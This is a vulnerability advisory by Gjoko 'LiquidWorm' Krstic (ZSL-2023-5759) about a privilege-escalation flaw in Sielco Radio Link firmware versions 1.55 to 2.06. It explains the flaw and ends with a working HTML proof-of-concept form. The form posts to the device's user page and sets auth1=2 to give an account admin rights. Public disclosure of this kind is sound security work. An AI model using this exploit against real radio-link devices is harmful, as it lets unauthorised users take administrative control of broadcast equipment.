Authored by LiquidWorm | Site

Sielco Radio Link version 2.06 suffers from a remote privilege escalation vulnerability.


Sielco Radio Link 2.06 Remote Privilege Escalation

Vendor: Sielco S.r.l
Product web page:
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)

Summary: Sielco develops and produces radio links for all transmission
and reception needs, thanks to innovative units and excellent performances,
accompanied by a high reliability and low consumption.

Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.

Tested on: lwIP/2.1.1

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2023-5759
Advisory URL:



<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input type="hidden" name="pwd0" value="" />
<input type="hidden" name="pwd0bis" value="" />
<input type="hidden" name="user1" value="testingus" />
<input type="hidden" name="pwd1" value="" />
<input type="hidden" name="pwd1bis" value="" />
<input type="hidden" name="auth1" value="2" />
<input type="hidden" name="user2" value="" />
<input type="hidden" name="pwd2" value="" />
<input type="hidden" name="pwd2bis" value="" />
<input type="hidden" name="auth2" value="0" />
<input type="hidden" name="user3" value="" />
<input type="hidden" name="pwd3" value="" />
<input type="hidden" name="pwd3bis" value="" />
<input type="hidden" name="auth3" value="0" />
<input type="submit" value="Escalate" />